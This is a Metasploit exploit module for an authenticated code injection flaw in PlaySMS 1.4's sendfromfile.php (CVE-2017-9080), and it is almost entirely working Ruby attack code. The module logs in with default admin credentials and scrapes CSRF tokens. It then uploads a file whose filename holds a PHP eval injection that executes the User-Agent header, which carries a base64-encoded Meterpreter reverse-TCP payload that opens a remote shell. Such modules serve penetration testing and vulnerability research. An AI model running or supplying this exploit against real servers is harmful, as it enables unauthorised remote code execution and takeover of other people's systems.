PlaySMS sendfromfile.php Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution',  
'Description' => %q{  
This module exploits a code injection vulnerability within an authenticated file  
upload feature in PlaySMS v1.4. This issue is caused by improper file name handling  
in sendfromfile.php file.  
Authenticated Users can upload a file and rename the file with a malicious payload.  
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.  
},  
'Author' =>  
[  
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module  
'DarkS3curity' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB','42003'],  
['CVE','2017-9080'],  
['URL','https://www.youtube.com/watch?v=MuYoImvfpew'],  
['URL','http://touhidshaikh.com/blog/?p=336']  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'ENCODER' => 'php/base64',  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'PlaySMS 1.4', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 21 2017'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),  
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])  
])  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php')  
})  
rescue  
vprint_error('Unable to access the index.php file')  
return CheckCode::Unknown  
end  
  
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')  
return Exploit::CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def login  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'method' => 'GET',  
'vars_get' => {  
'app' => 'main',  
'inc' => 'core_auth',  
'route' => 'login',  
}  
})  
  
# Grabbing CSRF token from body  
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_good("X-CSRF-Token for login : #{csrf}")  
  
cookies = res.get_cookies  
vprint_status('Trying to Login ......')  
# Send Creds with cookies.  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookies,  
'vars_get' => Hash[{  
'app' => 'main',  
'inc' => 'core_auth',  
'route' => 'login',  
'op' => 'login',  
}.to_a.shuffle],  
'vars_post' => Hash[{  
'X-CSRF-Token' => csrf,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}.to_a.shuffle],  
})  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?  
  
# Try to access index page with authenticated cookie.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookies,  
})  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?  
  
# if we redirect to core_welcome dan we assume we have authenticated cookie.  
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')  
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
return cookies  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")  
end  
end  
  
def exploit  
cookies = login  
  
# Agian CSRF token.  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'method' => 'GET',  
'cookie' => cookies,  
'vars_get' => Hash[{  
'app' => 'main',  
'inc' => 'feature_sendfromfile',  
'op' => 'list',  
}.to_a.shuffle]  
})  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?  
  
# Grabbing CSRF token from body.  
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_good("X-CSRF-Token for upload : #{csrf}")  
  
# Payload.  
evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"  
  
# setup POST request.  
post_data = Rex::MIME::Message.new  
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token  
post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload  
post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra  
data = post_data.to_s  
  
vprint_status('Trying to upload file with malicious Filename Field....')  
# Lets Send Upload request.  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'method' => 'POST',  
'agent' => payload.encode,  
'cookie' => cookies,  
'vars_get' => Hash[{  
'app' => 'main',  
'inc' => 'feature_sendfromfile',  
'op' => 'upload_confirm',  
}.to_a.shuffle],  
'headers' => {  
'Upgrade-Insecure-Requests' => '1',  
},  
'Connection' => 'close',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
})  
end  
end  
`